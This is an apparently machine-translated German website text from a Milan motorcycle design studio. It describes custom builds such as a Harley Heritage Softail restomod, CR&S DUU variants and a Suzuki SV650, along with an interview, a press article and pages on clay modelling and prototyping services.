Beiträge von Donato Cannatello
Harley Davidson Heritage Softail Restomod
Harley Davidson Heritage Softail Restomod
Die Harley Davidson Heritage Softail Restomod ist eines dieser Motorräder, die Sie, wenn Sie einmal fertig sind, nie mehr loslassen möchten.
Sie haben sich während der Entwicklung in ihn verliebt, weil alles wie geplant lief, oder erst am Ende nach unzähligen Problemen, oder gerade ein Detail fertig entwickelt ...
Einer von denen, die Sie behalten möchten, auf die Sie vielleicht neidisch oder besonders stolz sind.
Nun, Projekte wie dieses passieren nicht oft, so gut man auch sein kann, es gibt bessere und schlechtere.
HDHSR ist einer der besseren. In jedem Sinne, für die, die es geschafft haben, für die, die es fahren, und für das Fahrrad selbst, jetzt moderner, technologischer, faszinierender, aber immer mit der gleichen großen Klasse, immer mit seiner Tiefe.
Blog & Gespräche
Beiträge
- Harley Davidson Heritage Softail Restomod
- Blog & Gespräche
- CR&S “Sport”
- Matchless Modell X neu geladen
- CR&S DUU
- Suzuki SV 650 “Stronzetta”
- Super Special N ° 14
- Zeitung Auto
- Design & Konzept
- Italjet Caffeine 250
- DUU REDSHIFT – Der Beitrag der Designer in der Anpassung von Motorrädern
- Modelleria Ton
- Prototypen, Maquettes und Showbikes
- Moto Individuelle
- Mockup digitale
- Eine Schraube… aber Riese!
- OEM Motorrad ABS Systeme
- Farbe & Trimmen – Malerei und Grafik
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- Ein 3D-Global Configurator
- UM RENEGADE SCRAMBLER 300W
- Nur von EICMA zurück 2017
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- STYLE FLOW – Course of Style, Design, Render e Sketches (modulo “D”)
- PLASTIC FLOW – physikalischer Modellierung Kurs und Kunststoff 3D-Druck (modulo “C”)
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- Carter X-Wedge S&S e CR&S DUU
- MOTO.IT
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- Motorrad-Design Association | 2012 Milan Nacht
- Einige Abdeckungen gewidmet DUU
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- 3D-Druck – Prototyp entwickeln, CNC und schnelle Technologien
- S4 – TRAINING
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Seiten
Produkte
- Interne Förderbandunterstützung CR&S DUU
- Externe Förderbandhalterung CR&S DUU
- Durchführungen für Lenk CR&S DUU in Teflon
- Motor-Luftfilter für S&S X-Wedge
- Förderer minimal für CR&S DUU
- Motogadget MOSCOPE PRO Unterstützung für CR&S DUU
- Sehen Tubeless sprach gewidmet CR&S DUU
- System “Glatt” pro CR&S
- Platte CR&S großen Tank Silber 925/1000
- Targa Motor CR&S X-Wedge duu original schwarz lackiert Messing
- Platte CR&S lackiert Messing 2 Farbe Gelb / Schwarz Original
- Forcella gegebene Bestiengabel
- Odometer Instrumentierung CR&S DUU original
- Zahnriemen für S&S X-Wedge
- geformte Platte Ag. 925/1000 “CR&S” “TRÄGT” nach Kundenwunsch graviert
- Smart Rider-Rückspiegel: Ihre Verkehrssicherheit geht vor!
- Sprach für Triumph Speed Triple 1050
- Motogadget Unterstützung MOSCOPE PRO für Harley Davidson
- Transparente Steuergehäuseabdeckung für S&S X-Wedge
CR&S “Sport”
CR & S OF "Sport"
Der „Sport“ ist schön, weil es das Ergebnis einer großartigen Zusammenarbeit ist 4 Hände.
Das Design ist von John Van Houten Eigentümer, wir haben es in der Realität nach einer Marsch seiner Hauptskizze und eine Reihe von Feedback während des Bau übersetzt.
die CR&S VUN ist ein Fahrrad, dass wir sehr gut kennen, Wir haben viel Erfahrung auf diesem Bike, es war so einfach zu stören. Auch die VUN ist ein Fahrrad schon schön in jeder Komponente, die einzigen Teile, dass wir nicht davon überzeugt, sie sind richtig und die Heckverkleidung waren, so war es schön zu arbeiten, um zu versuchen dieses schöne Projekt zu bringen 2005 heute.
Computer Aided Design
Das Fahrrad wurde möglich dank der „traditionellen“ CNC-Techniken, Laserschneid, etc, sondern vor allem durch die 3D-Druck. Der Rumpf hat sich als speziell gedruckt, Als Ergebnis seiner Form es um optimiert wurde die Fähigkeit des 3D-Druckers zu nutzen, um den Kern des Stückes mit einem kalibrierten Absehen Typ Honeycomb zu erzeugen, dies ermöglicht eine selbsttragende Struktur zu haben,, Leicht und robust.
Zugleich optimiert diese Technologie Druckzeiten, so dass wir den gesamten Rumpf mit „Sonne“ zu schaffen, 60 Drucken Stunden.
Windschutzscheibe und Plexiglas
Die Windschutzscheibe wie üblich enthalten, einen Teil in Plexiglas, für die Bequemlichkeit des Benutzers wir diese haben durch die Verwendung eines Bauteils im Handel erreicht (Quelle Honda CBR1000RR), Scannen das Werkstück im 3D-Modellierung und das Karosserieteil um das Plexiglas, so können Sie finden und ganz einfach ersetzt überall auf der Welt.
Körperarbeit
das Gemälde, Grafiken und Farbe und Trimm sind auf jeden Fall ein sehr wichtiger Teil des Projekts.
Eine fantastische Arbeit geleistet hat das Ergebnis einer schön gewesen, noch eine weitere Zusammenarbeit mit KAOS Entwurf.
RIZOMA, eine Geschichte in einer Geschichte.
Für den Teil der Beleuchtung und Zubehör, die nicht für das beste für ein ähnliches Projekt darauf abzielen könnte, aus wurde dieser Bedarf die Möglichkeit, die Arbeit mit den großen Jungs von RIZOMA als Welt oben in Bezug auf die Qualität der hergestellten Komponenten geboren, sowie die ursprünglichen Lieferanten der Knüppel Komponenten des CR&S Original. Die schönen Platten in CNC-Rahmen haben somit neben ihren Ursprüngen auf die neueste LED-Elemente wie Pfeile mit integrierten Positionslicht RIZOMA LIGHT S und Pfeile Lenker LOOK gefunden.
Die Kombination dieser Elemente hat die Geburt bis zum Rücklicht Montage ist sicher Rennkennzeichenlichteffekt freitragend und Funktionalität gegeben.
Sponsoren und Partner des Projekts:
Matchless Modell X neu geladen
Matchless Modell X neu geladen
die "Matchless Modell X neu geladen" Es ist ein Motorrad, das an den Stil und Charme eines klassischen Matchless-Modells erinnert, das Model 1929, aber mit einem Hauch von Modernität und Innovation. Das Motorrad hat einen V-Twin-Motor 1916 cc, abgeleitet von einem S-Motor&Ja, aber individuell von Matchless, das sich mehr entwickelt als 96 Lebenslauf. Das Motorrad zeichnet sich durch einzigartiges Design und modernste technische Lösungen aus, wie Vorderradgabeln "Schloss", Hinterradaufhängung mit Stoßdämpfern unter dem Motor, der Halblamellenrahmen mit integriertem Öltank, die Bremsen deaktiviert a 12 Kolben vorne und hinten 6 hinten, und Motorköpfe der Marke Matchless. Das reloaded Model X wurde erstmals auf der Motorradmesse EICMA in Mailand gezeigt 2015, und ist das Ergebnis der Leidenschaft des italienischen Unternehmers Franco Malenotti, die die Marke Matchless im Jahr kaufte 2012. Das Projekt erhielt die Zustimmung der Familie Collier, Gründer von Matchless in 1899, der die Kombination von Tradition lobte, Technologie und Eleganz, die das Motorrad auszeichnen. Das reloaded Model X ist ein Konzeptmotorrad, das in Zukunft Realität werden könnte, da das Haus bereits eingereicht hat 12 Patente für seine Lösungen.
CR&S DUU
CR&S DUU
die Leitungen es ist ein Motorrad hergestellt von CR&S von 2011.
Der Prototyp wurde auf "vorgestelltEICMA die 2009. Es wurde von Roberto Crepaldi in Zusammenarbeit mit Donato Cannatello für Design und Beppe Bulla für das Fahrwerk und Mechanik entwickelt und gebaut. Die DUU wird durch den X-Wedge der amerikanischen S angetrieben&S, und das ganze Projekt dreht sich um sie. Der Motor ist ein 1.917 Amerikanische Extraktion cc, seine Architektur erinnert an die Zwillinge Harley Davidson, aber das Design ist ganz modern. Es ist das zweite Modell des Hauses, und als solche, seinen Namen Mittel "fällig" in Milanese Dialekt.
Die Duu um diesen Motor geboren und dann wird Geometrie dann konzentrierte sich auf: hohe Motor, Radstand kompakt, Schwingarm eine möglichst lange und Neigungswinkel steerer Inhalt, Dies führt zu einer hervorragenden Handhabung aber eine gute Stabilität bei hohen Geschwindigkeiten.
Suzuki SV 650 “Stronzetta”
die "Stronzetta", dies respektlos kleine Mädchen, das schamlos gut wollen, Es ist eine junge Suzuki SV 650 die 1999, ein Millennial, ein begeisterter Läufer Musik, einer von denen, läuft immer mit Kopfhörern auf dem Kopf. Dies liegt daran, den Kunden, 4CMP, Es ist eine renommierte Schule für Tontechniker und Produzenten, daher völlig Musical „Deklination“ des Projektes.
Die „Stronzetta“ war für uns angesichts einer großen Herausforderung, nicht wegen der Komplexität des Projektes, aber für die Ziele setzen wir uns im Hinblick auf die endgültigen Kosten des Projekts.
Das Hauptziel war es, eine komplette Neukonstruktion des ursprünglichen SV650 machen vor allem bei Lockerung des Warteschlangenbereiches gerichtet. Zwangsläufig an dieser Stelle, insgesamt verhältnismäßig Objekt auch auf allen anderen Komponenten des Motorrads zu schaffen, um eingreifen zu müssen, insbesondere die Stirnfläche mit der Gabel besonders datiert, die optische Gruppe an dieser Stelle überflüssig und unverhältnismäßig und folglich viele mechanischen Teile, Karosserie und elektronische.
Wir begannen dann mit einem „frame-off“ kompletten Fahrrad, in seiner Gesamtheit abgebaut, dann mit dem Neuanstrich von Teilen fortfahren, die gültig und mit der Neugestaltung das betrachtet, die ersetzt werden sollten.
Das Chassis hat offensichtlich die Installation eines neuen vorderen Endes gesehen Obenseite nach unten, und seine Anpassung an den Rahmen und den ursprünglichen Rändern. Wir angepasst geschickt, die drei Komponenten nur auf der Bremsscheibe Arbeits, realisiert ad hoc für uns DBS Discacciati mit gewohnter Qualität und Präzision. Auf diese Weise ging alles an seinem Platz und ganz einfach konnten wir die ursprünglichen Räder auf eine Anlage angepasst halte Radialbremse neu gebaut. alle glücklich!
Der Teil des Rahmens ist offensichtlich Stunden Arbeit erforderlich, um eine Struktur zu schaffen, die funktionsfähig war, wurde es mit einem industriellen Ansatz entwickelt,, so dass keine Nüsse oder seltsame Hardware, ganze Bewegung wird auf eine äußerst einfache Art und Weise montiert und demontiert. Für den Sattel selbst konnten wir eine Befestigung mit Schloss realisieren und ein kleines Staufach zu schaffen, wo die trousse, Dokumente und wo Sie können leicht Zugang zu den elektrischen Komponenten und Batterie.
Für Körperteile haben wir uns in diesem Fall für die Komponenten ad hoc in der Hand förmigen Aluminiumblech, Dies gab uns die völlige Freiheit Form und bietet Qualitätsmerkmale und Gewicht.
Sobald Sie die grundlegenden Mechanismen und Karosseriewerkstätten geschaffen haben könnten wir uns mit Komponenten frönen, insbesondere der elektronischen, so geht es wieder zu verbinden mit dem ursprünglichen musikalischen Thema. Wir stiegen dann Voll-LED-Beleuchtung, Lichteffekte und natürlich ein BOSE-Soundsystem Built-in-Bewegung, die über Bluetooth Besitzer mit dem Telefon verbindet, letztlich gute Bike-Show, vor allem, wenn Sie Ihr Publikum zu einer Show tanzen wollen.
Wie üblich wurde die Komplexität des Projektes vor allem auf die Notwendigkeit, ein Objekt zu erstellen, das schön war, sondern auch mit industriellen Kriterien der Zuverlässigkeit gebaut, Verwendbarkeit, Wartung und natürlich Sicherheit, als Ergebnis werden viele Komponenten auf den Computer mit 3D-Druck oder CNC-Fräsen entwickelt und hergestellt.
Das Fahrrad ist ein Tribut an Brian Eno, der Vater der Ambient-Musik Komponisten und in der Regel wichtiger Vorläufer der modernen elektronischen Musik.
In Zusammenarbeit mit:
Super Special N ° 14
letzte 4 Juli im Gegeben Mailand Garage Motodesign präsentiert REDSHIFT, una moto individuelle su Basis CR&S DUU. Wir alle wissen, CR&S und seine Werke auf zwei Rädern, Wir alle erinnern uns die duu mit seinen leistungsstarken Zweizylinder, ein Motorrad „handgefertigt, sein Herz, in Mailand ", Entworfen für die Massenproduktion, die aber sehr handwerklich und charaktervoll blieb, Das Besondere ist bereits im Ursprung und wurde von einem Team von Designexperten noch spezieller.
Um alle Geheimnisse dieses Motorrads zu entdecken, haben wir uns entschlossen, Donato Cannatello zu interviewen, ehemaliger leitender Designer bei CR&S e ora Führer del Team gegeben.
Wir sind herzlich willkommen im liebevoll eingerichteten Atelier, in dem REDSHIFT geboren wurde. Lass uns ins Zwischengeschoss gehen und uns unterhalten, von wo aus wir den gesamten Workshop und die Jungs vom Team bei der Arbeit sehen können.
- Zuerst, wie die gegebene Motodesign-Realität geboren wurde?
Given wurde wesentlich nach meiner Motorraderfahrung in einigen Unternehmen wie CR geboren&S, unübertrefflich, Aprilia und andere.
Ich zog es vor, meinen eigenen Raum zu eröffnen und mich auf ein Unternehmen zu konzentrieren, das meinen Ideen Raum geben könnte. So wurde Given geboren, was nichts anderes ist als die englische Übersetzung meines Namens "Donato" ins Englische..
Hier versuche ich, meine Erfahrungen aus Konzept und Design für die Arbeit in der Werkstatt zu nutzen ... denn in kleinen und schönen Unternehmen wie CR&S, wo wir waren 10, Natürlich kümmert man sich um das Design, aber man muss auch in die Werkstatt gehen, um alle Schritte zusammenzubauen und zu überprüfen ... und so hatte ich eine 360 ° -Erfahrung in der Entwicklung des Motorrads.
Zeitung Auto
Mit Blick auf das Fahrrad, Sie können die Marke nicht kennen. Viel weniger, ob es gut ist oder nicht fahren. Aber eins ist sicher: nolens volens Motorräder, es ist unmöglich, die individuelle Maschine gleichgültig zu bleiben für Gegeben, eine kleine Design-Firma in Mailand, in Italien. Es ist dort, dass die brasilianische Luiz „Bald“ Mingione arbeitet, geben physische Form der italienischen Designer-Projekte Donato Cannatello.
Unter den neuen Bike Wegen, gibt es CR&S trägt. Ein CR&S war ein Handwerk-Hersteller, der geboren wurde 1992 in Mailand. Die Abkürzung steht für „Rennfahrer und superbikes Kaffee“. Duu bedeutet, zwei in Milanese Dialekt, und bezeichnet den Motor 2.000 cm3. Das Modell wurde in Moto Salon Mailand ins Leben gerufen (Eicma) in 2009. nach Mingione, jede Einheit verkauft von 40 tausend Euro.
Die Funktion ist Formulare Projekte zu geben,
Die Formfunktion ist Mingione aus Fiberglas und Aluminium, und machen 3D-Drucke, Form zu geben Ideen von Cannatello erstellt. Der Designer kam in ihrem eigenen CR zu arbeiten&S e na Aprilia, unter anderem Motorradhersteller.
Da es wurden nur produziert 100 Modelleinheiten und jetzt die Marke nicht in Betrieb, jedes CR Fahrrad&S würde ausreichen, um exklusive. jedoch, gibt es immer wieder Kunden, die noch exklusivere wollen. Dies ist der Fall des Eigentümers der Einheit. Mingione darüber informiert, dass es für einen Holländer gemacht wurde, die Restaurants in Italien und Neuseeland hat. Customization Kosten 24 tausend Euro (ca. R $ 110 tausend). Der Preis beinhaltet Projekt, Prototyping, Arbeitszeit und Ersatzteile. Die Arbeit dauerte 6 Monate.
Er arbeitete auch an einem CR&von S (ein, in Milanese Dialekt), das zweite Modell der italienischen Marke. In diesem Fall, der Motor hat 650 cm3.
Sobald das Fahrrad ist bereit, Brasilianische geht mit ihr zu sehen, ob alles in Ordnung ist. Mingione ist ein erfahrener Pilot, ich 2002 Er gewann die Paris-Dakar, in der Kategorie bis 250 cm3.
jetzt, er sagt, er Arbeit an einem neuen Projekt beginnt, ein Suzuki SV 650, produziert in 1999. „Das Motorrad ist nicht tausend Euro wert (R $ 4.500), aber der Besitzer verbringen über 6 tausend Euro (R $ 27 tausend) zu tun, etwas Einzigartiges ", sagt.
Er sagt, der erste Schritt das Fahrrad vollständig zu zerlegen ist individuell gestaltet werden können. dann, das Bild ist neu gestrichen und die neuen Teile erhalten, ein Prozess, der etwa vier Monate in Anspruch nimmt, abhängig von der Komplexität.
Mingione Werke von Projekt. Er in vor einem Jahr gegeben, und beabsichtigt, dort bis zum kommenden Ende des Jahres fortsetzen.
Er sagt, er entschied sich das Leben in Mailand, um zu versuchen, weil die Eltern seiner Frau Restaurant in der Stadt hatte. davor, jedoch, Mingione ging durch mehrere Länder.
Knetmasse in Honda gelernt geholfen
Er trat Honda in Brasilien 1993. zwischen 98 e 99, nach dem Start von Honda Biz, wo er an den ersten Prototypen, Er absolvierte ein Praktikum bei der Unternehmenszentrale, in Japan. dort, Er lernte, wie Prototypen mit Lehm bauen, eine Art industriellen clay, in Gebäudemodellen eingesetzt.
Nach der japanischen Marke verlassen, in 2006, Er verbrachte einen Monat in China, auf Einladung von Geschäftsmann. Ziel war es, mögliche Motorradmarken auswählen, die in Brasilien verkauft werden könnte.
Diese Tour von „über 30 Unternehmen ", man kam zu dem Land zu kommen, ein Iran, die geschlossen in 2013.
folgende, Mingione war für Ford in der Türkei, die stand 2015 ein 2016, bei der Entwicklung von Innen-LKW Arbeiten mit Ton.
in 2017, Er kehrte nach China. Es war, als Trainer der A-Berater (united Motors), Kolumbianische Unternehmen mit Sitz in den Vereinigten Staaten, Ich wollte das Land, ein Motorrad machen. danach, Er ging nach Mailand, wo Sie wollen bis zum Ende des nächsten Jahres bleiben.
„Wir müssen sehr Werkstatt fegen“
Wer träumt von folgenden ähnlichen Weg, Mingione Benachrichtigung an den Schwierigkeiten: „Indian Motorrad für diejenigen, die gerne und wollen neue Dinge lernen, Trend, Werkstofftechnik und Entwicklung ", sagt. „Aber für einen Anfänger ist es nicht einfach,. Sie müssen Rost und viel Werkstatt fegen. "
alles, klar, aus rechtlichen Fragen (Arbeitsvisum) und Kommunikation. Die Sprache kann eine Sperre sein,, je nach dem gewählten Land. In Bezug auf die Entschädigung, Mingione geschätzt, dass ein Anfänger in Italien erhält zwischen 600 e 800 Euro pro Monat (R $ 2.700 ein R $ 3.600).
Design & Konzept
Given ist ein italienisches Unternehmen, das sich mit Design beschäftigt, Prototyping und Herstellung maßgeschneiderter und innovativer Motorräder. Unsere Leidenschaft für Zweiräder treibt uns dazu, mit neuen Lösungen zu experimentieren und einzigartige und originelle Projekte zu schaffen, die unsere Vision und unseren Stil zum Ausdruck bringen.
Unsere Konzepte sind das Ergebnis unserer Fantasie und unseres Fachwissens, sondern auch des Dialogs und der Zusammenarbeit mit unseren Kunden, die uns ihre Ideen und Bedürfnisse anvertrauen. Jedes Konzept ist eine Herausforderung, eine Gelegenheit, unsere Kreativität und Professionalität zu testen.
Zu unseren Konzepten, Es gibt diejenigen, die reale und funktionierende Modelle geschaffen haben, wie die CR&S DUU, o la Matchless Model X Reloaded.
Es gibt auch solche, die im Stadium von Skizzen oder maßstabsgetreuen Modellen geblieben sind, die aber aus diesem Grund nicht weniger interessant oder suggestiv sind. Hierbei handelt es sich um Konzepte, die verschiedene Arten von Motorrädern untersuchen, wie der Cafe Racer, le scrambler, die Bobber, Der Straßenkämpfer, die Enduros, le Brauch, der Sportler. Von verschiedenen Stilen und Einflüssen inspirierte Konzepte, wie Vintage, das moderne, das Futuristische, der Minimalist, der Rücken. Konzepte, die unterschiedliche Materialien und Komponenten verwenden, wie Stahl, Aluminium, Kohlefaser, Das Holz, das Leder, der Verbrennungsmotor, der Elektromotor.
Unsere Konzepte sind unsere Visitenkarte, Unsere Art, der Welt unsere Leidenschaft und unser Talent zu zeigen. Sie sind auch unsere Art, diejenigen, die unsere Leidenschaft teilen, einzuladen, mit uns Kontakt aufzunehmen und uns ihre Wünsche und Erwartungen mitzuteilen. Wir haben immer ein offenes Ohr für Ihre Vorschläge und setzen diese in die Realität um.
Die Phasen der Bearbeitung
Wir können Phase heilen Konzept o Erweiterte Konzept versucht, die stilistischen Anforderungen des Kunden zu interpretieren, Strom und vor allem zukünftige Trends, die eigentliche Technik und nahe Zukunft.
Wir versuchen, all dies mit einem Geist von Vorurteilen frei zu tun,, Erstellen von Objekten, die Füße auf dem Boden nur im erforderlichen Umfang durch die Kunden haben, in Abwesenheit von ausdrücklichen Wunsch orientieren wir uns in Richtung einer Erweiterte Konzept was kann viel schwieriger für uns als auch für den Endverbraucher sein.
GEGEBEN PROJECT FORM
| Projektbesprechung | Kundenname | Projekt Codename | ||||
|---|---|---|---|---|---|---|
| Marktanalyse | Alter | Empfehlungsmarkt | Endkosten | Geschlecht | Verwendungstippologie | |
| Kundenanalyse | industrielle Fähigkeiten | Fertigungsmöglichkeiten | Reselling-Funktionen | |||
| Produktanalyse | Segment | Carriage Fähigkeiten | Performance / Fashion | Gewicht | Materialien | Motor |
Ein Entwurf Konzept oder Advanced-Konzept kann in analoger Form ausgedrückt werden (Rendering in Bleistift), digitale 2D o 3D (Statische digitale Wiedergabe oder Video) oder in Form von Mock-up je nach den Bedürfnissen und der Entwicklungsstand erforderlich.
Wir können alle diese Phasen kümmern, oder nur einige von ihnen: wir haben die Mittel,, die Fähigkeiten und die nötige Kreativität. Wir können nur das ursprüngliche Konzept behandeln, sowohl in fortgeschrittener Form (so keine wirkliche Relevanz, aber nur das Studium der Formen und Designforschung) in dieser schmalen Form (deshalb hat bereits einen ersten Blick auf den künftigen Umsetzung Kriterien).
Italjet Caffeine 250
Italjet Caffeine 250
Das Italjet Caffeina-Motorrad 250 Es ist ein Café Racer mit Vintage-Charme, welches in vorgestellt wurde 2018 vom italienischen Motorradhersteller Italjet. Es ist ein Motorrad, das in die Welt der kleinen Hubräume fällt, das aber hochwertige Komponenten und ein originelles und faszinierendes Design bietet. Angetrieben wird das Motorrad von einem 60°-V-Twin-Motor 250 cc, luftgekühlt, mit elektronischer Einspritzung und Euro-Zulassung 4. Der Motor liefert eine Leistung von 17,7 Lebenslauf a 8.000 U/min und ein Paar 19 Nm a 6.000 Giri/Min. Das Fahrrad hat ein Trockengewicht von 128,5 kg und einem Tankinhalt von 14 LITER. Das Motorrad ist mit einer Upside-Down-Gabel ausgestattet, von Lappenscheibenbremsen aus 280 e 240 mm mit ABS und Reifen 110/80-17 nach vorne und von 130/70-17 die 15 hinten, je nach Ausführung. Das Motorrad ist in zwei Versionen erhältlich, die sich in der Ästhetik unterscheiden, die Scheinwerfer und die Größe des Hinterrads: die Version mit Rad 17 Zoll hat eine Sattelhöhe von 820 mm und eine sportlichere Optik, während die Version mit Rad 15 Zoll hat eine Sattelhöhe von 780 mm und ein femininerer Look. Das Motorrad wurde im Jahr auf den Markt gebracht 2019, in zwei Farben: Schwarz mit bordeauxrotem oder silber/gelbem Lederbesatz.
DUU REDSHIFT – Der Beitrag der Designer in der Anpassung von Motorrädern
Motorradfahren ist eine Tätigkeit, in denen konvergieren harmonisch verschiedene Aspekte des Designs, Die wichtigste besteht darin, eine technische Lösung für das Problem zu finden “Transportfunktionalität”. Hersteller suchen ständig Leistung in allen seinen Varianten zu optimieren, das Ziel ist die effektivste und in der Lage zu machen, die Probleme des Anwender auch auf Stil zu lösen sprechen die emotionale Komponente des Mediums hervorheben. Die Emotion ist das primäre Element, für Motorradfahrer um sie alle, wie sie auf ihre Mittel Rennen hat es ein völlig anderes Aussehen, haben einen echten und direkten Kontakt mit allem, was. Sie sind aktive Verbraucher, die Straßenszene leben statt suchen, was sie fühlen, ist eine überwältigende Leidenschaft, die Sie fühlen Sie den Nervenkitzel der totalen Freiheit machen. Die folgende Arbeit beinhaltet eine Studie über die Berufserfahrung ein Motorrad CR von Customizing&S DUU, der Kunde in Frage ist eine private, deren Anwendung zu, ab
eine bestehende Basis, einzigartig macht das Medium durch die Zugabe von Komponenten, die das ästhetische Erscheinungsbild macht greifbar zu verbessern wären in der Lage
die Wünsche des Kunden. Dank der starken Leidenschaft
accumuna, die der Designer und der Kunde erstellt wurde
eine Bindung von Einfühlungsvermögen, dass erlaubt GEGEBEN
motodesign vollständig die erfor erfüllen
–
sität des Verbrauchers, Herstellung einer klassischen Basis
ein echtes Sammlerstück. Accomu
–
geboren aus diesem starken Gefühl, nur die empa
–
tia hat sehr Kommunikation mit dem Kunden
einfach und effektiv, so dass Designer
die Bedürfnisse des Kunden zu verstehen sofort und,
in einigen Fällen sogar, zu antizipieren. hierin
so ist Teamarbeit begünstigt permet
–
Ich neige dazu, auch an den Kunden zur Teilnahme an
Projekt geben ein unmittelbares Feedback auf die
durchgeführten Studien und Prototypen.
Durch die zur Verfügung stehenden Technologien, GIVEN
motodesign konnte eine mez realisieren
–
zo es hatte eine starke industrielle Komponente
unter Beibehaltung eines Aufdrucks handwerkliches
in einigen Prozessen gefunden, so fest
–
ture und Biegen von Platten aus Aluminium
handgefertigt von der Mannschaft. Der laufende Dialog zwischen den verschiedenen
Sektoren hat zur Schaffung eines Produkts geführt
das würde den Charakter des Besitzers ausdrücken, Ufer
–
Landone ihre Identität und ihre eigenen Wesen.
Modelleria Ton
Einer der wichtigsten Schritte bei der Motorrad-Design ist sicherlich ein Modell bauen "Lehm".
Die so genannte "Automobil-clay" Es ist ein synthetischer Ton in den 70er Jahren speziell für den Transport Designbranche entwickelt, Es hat die Eigenschaft,, im Vergleich zu Ton (Ton Anmerkung der Redaktion) Traditionelle umgestalteten unendlich oft zu und thermoplastisch, dann weich und formbar bei der Arbeitstemperatur (55/65 Grad) und hart, kompakt und bei Umgebungstemperatur gemahlen.
Dies ermöglicht eine maximale Freiheit für den Modellierer, und es ihm erlaubt, an das Artefakt zu geben, um der Lage sein, genau die gewünschte Form, mit einer Genauigkeit von wenigen Zehntel Millimeter, indem Sie einfach mit Hilfe der Modellierungstool oder Entfernung.
Sobald wir die gewünschte Form erreicht, kann mit einer Auswertestufe verläuft über "HighLight Wand", wo mittels spezieller Beleuchtung und Spezialbeschichtungen (in Film oder Farbe) wir können die formale Korrektheit der Oberfläche bewerten. Die andere Auswertung wir tun können, zusammen mit dem Kunden ist offensichtlich die ästhetische und ergonomische, Überprüfen, dass die Form und die Volumina korrekt sind, Eingriffs- und proportional Messe.
Wenn Änderungen wurden beantragt werden, Es wird kein Problem sein,, Rückkehr zum "Ton-Raum" und Umformen des Objekts nach den neuen Kriterien.
Der Ton ist ein sehr langer und komplexer Prozess, das erfordert viel Geschick und Fingerfertigkeit, Auch bedarf es ein Zweiphasen-Computer-Design, in erster Linie im Stil der Phase mit einer CAS / CAM-Analyse, die eine klare Vorstellung davon haben, ermöglicht es, was sind wir zu erreichen, und Ableiten geeignet dimensionierten Medien, Schließlich wird in dem letzten Anschlag der Oberfläche erfordert es einen Transformationsprozess in dem 3D-Modell (Reverse Engineering), es ist auch sehr lang und komplex, so seine Kosten sind auf jeden Fall hoch, und es wird empfohlen, (unserer Meinung nach) nur in einigen Fällen ist es nicht möglich, mit den direktesten Wege gehen.
Prototypen, Maquettes und Showbikes
Mit Kreativität und Innovation neue Ideen erforschen!
Willkommen im aufregendsten Bereich, wo Kreativität und Interpretation zusammenkommen, um einzigartige Projekte zum Leben zu erwecken.
Für Unternehmen oder Einzelpersonen, die ihren Ideen Gestalt geben möchten oder einfach nur neugierig sind, wie sie zum Leben erweckt werden, Wir sind hier, um maßstabsgetreue Prototypen herzustellen 1:1 mit tadellosem Stil und unglaublicher Präzision dank unserer Prototyping- und Produktionsfähigkeiten.
Wir beginnen bei Null oder nach Ihren Zeichnungen, Sicherstellung von Prototypen, die das Wesentliche der Idee am besten wiedergeben. Verwendung modernster Materialien wie Aluminium, Eisen oder maßgeschneiderte Strukturen, Wir können für jedes Projekt maßgeschneiderte Lösungen erstellen.
Der ästhetische Teil ist ebenso grundlegend, und wir drücken uns durch eine Vielzahl von Techniken aus, Von der klassischen Tonarbeit bis hin zum 3D-Druck und anderen fortschrittlichen Formen des Prototypings. Das Ergebnis? Die Verwirklichung Ihrer Visionen.
Wir sind bestrebt, die Bearbeitungszeiten zu verkürzen, ohne Abstriche bei der Qualität zu machen, Denn wir wissen, wie wichtig die Einhaltung von Terminen für Ihre Projekte ist, die oft schon wenige Wochen nach Salons oder Präsentationen auftreten.
Vertrauen Sie unserer Leidenschaft und unserem Fachwissen bei der Erstellung von Prototypen und Modellen, wo Ihre Konzepte mit einem Hauch von Magie zum Leben erweckt werden. Wir sind bereit, mit Ihnen neue Horizonte zu erkunden, Ideen in konkrete Realität umsetzen. Kontaktieren Sie uns, um Ihre Zukunft zu gestalten!
Moto Individuelle
Denken Sie darüber, wie Ihr eigenes Fahrrad zu machen? Suchen Sie ein Fach Ihres Custom Bike zu bauen? perfekt! Wir sind in Mailand, aber dank unser Netzwerk von Trägern können wir Ihr Fahrrad überall hin mitnehmen und bringen sie nach Hause.
Sobald die Bewegung ist, dass wir es nach Ihren Vorstellungen oder Wünsche zeichnen, oder alternativ können Sie Gestaltungsfreiheit lassen und lassen Sie uns alles tun,, Sie müssen nur kommen und sammeln sie und staunen. Was auch immer Ihre Vorstellung von Custom Bikes werden wir glücklich sein, es zu teilen, sogar ein Bier zur Vernunft über, wenn Sie möchten, können Sie das machen Wiedergabe um Ihnen eine Vorstellung davon, wie könnte es angepasst werden, können wir nach Maß bereits in einer 3D-Betrachtungsumgebung, um zu sehen, wo man so wirklich sieht, werden Sie auf springen wollen und Gas geben! Einer der schwierigsten Aspekte unserer Arbeit ist die Erstellung von Custom Bikes, oder "maßgeschneiderte", für Kunden, die stehen wollen, mit gut definierten und kundenspezifischen Details, wir möchten diesen Bereich, weil es uns erlaubt, unsere Kreativität auf dem Fahrrad zu entfesseln, die in einzigartige Produkte verwandeln, weil wir die Komplexität mag, dass eine angepasste Fahrräder bei der Erreichung existieren, sind immer wieder anders, mit neuen Materialien und Konstruktionstechniken, die von Zeit zu Zeit ändern. Die Anpassung eines Motorrades erfordert viel praktische Erfahrung mechanische, aber aus unserer sehr wichtig Sicht plant auch Fähigkeiten und Kreativität.
Entwurf und Planung
Custom Bikes auf industriellem Niveau für Privatkunden.
Wenn wir ein Motorrad machen Da wir ersetzen nicht nur Originalteile mit anderen um gefunden, aber sie arbeiten direkt auf dem Werkstück, oder auf dem Fahrrad, neu, zeichnen, Entwerfen, wie der Kunde will. Nicht nur ein Ausschneiden und Einfügen, sondern ein echten Ad-hoc-Projekt, bei dem Detail macht den Unterschied. Bei der Gestaltung Motorräder speziell auf die Bedürfnisse der Kunden Einschränkungen gerecht zu werden sind sehr verschieden von denen der Industriedesign und beziehen sich auf die Person anstelle der technischen oder wirtschaftlichen Interessen.
exklusive Projekte Moto Entwurf. Italienisch Maschinenbau und Design für einzigartige und innovative Projekte. die 20 Jahre, um den anspruchsvollsten Kundendienst.
wollen
In Anbetracht wie wir Motorräder "rustikal", Eisen, mit der mechanischen Sicht, die moderne Form, aber wir sind immer für einen industriellen Ansatz. Jedes Custombikes für uns Gegeben ist ein Objekt langsam genossen werden, Stück für Stück, insbesondere nach bestimmten.
Details
